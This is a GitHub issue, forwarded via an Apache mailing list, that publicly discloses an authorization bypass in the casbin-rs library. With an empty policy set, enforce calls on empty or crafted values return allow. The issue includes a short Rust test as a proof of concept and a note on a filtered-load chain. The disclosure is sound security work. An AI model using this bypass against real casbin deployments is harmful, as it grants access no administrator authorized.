Eh2406 opened a new issue, #428: URL: https://github.com/apache/casbin-rs/issues/428
Hi, I am Co-Lead of the Rust Cargo Team and was recently hired by the Rust Foundation to help triage AI discovered bugs. This bug was found with AI, namely scrutineer and Fable. Except where specifically labeled this report was written by me. I am posting this as a public issue as I have not received a response to our attempts to reach out on https://security.apache.org/report-code/, by email, and on your discord. From the AI: > ## Summary > > Authorization bypass from synthetic policy rows in Casbin. When the selected policy type has no rows, `Enforcer` binds every policy token to an empty string, evaluates the matcher against that fabricated row, and converts a true result directly to `Allow`. `StringAdapter::load_filtered_policy` can compose with this behavior by silently discarding all rows during a filtered load. > > ## Impact > > An unprivileged caller who can supply values to `Enforcer::enforce` can receive an allow decision that no administrator policy authorizes. Empty request fields can match the fabricated row directly, and an empty policy-side regular expression can match arbitrary request values; in the verified chain, a normal filtered load leaves the policy empty and produces an authorization bypass on a stock allow-effect model. > > ## Proof of concept > > Add the following as `tests/poc.rs`, then run `cargo test --test poc -- --nocapture`: > > ```rust > use casbin::prelude::*; > > #[tokio::test] > async fn empty_policy_can_allow() { > let model = DefaultModel::from_str( > "[request_definition]\n r = sub, obj, act\n\n [policy_definition]\n p = sub, obj, act\n\n [policy_effect]\n e = some(where (p.eft == allow))\n\n [matchers]\n m = r.sub == p.sub && r.obj == p.obj && regexMatch(r.act, p.act)\n", > ) > .await > .unwrap(); > let enforcer = Enforcer::new(model, MemoryAdapter::default()).await.unwrap(); > > assert!(enforcer.enforce(("", "", "DELETE")).unwrap()); > } > ``` > > The verified output is a passing assertion: `enforce(("", "", "DELETE"))` returns `true` even though the adapter contains no policy rows. The composed reproducer additionally showed that `StringAdapter::load_filtered_policy(Filter { p: ["alice"], ... })` leaves the policy set empty and changes `enforce(("", "", ""))` from `false` after a full load to `true` after the filtered load. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
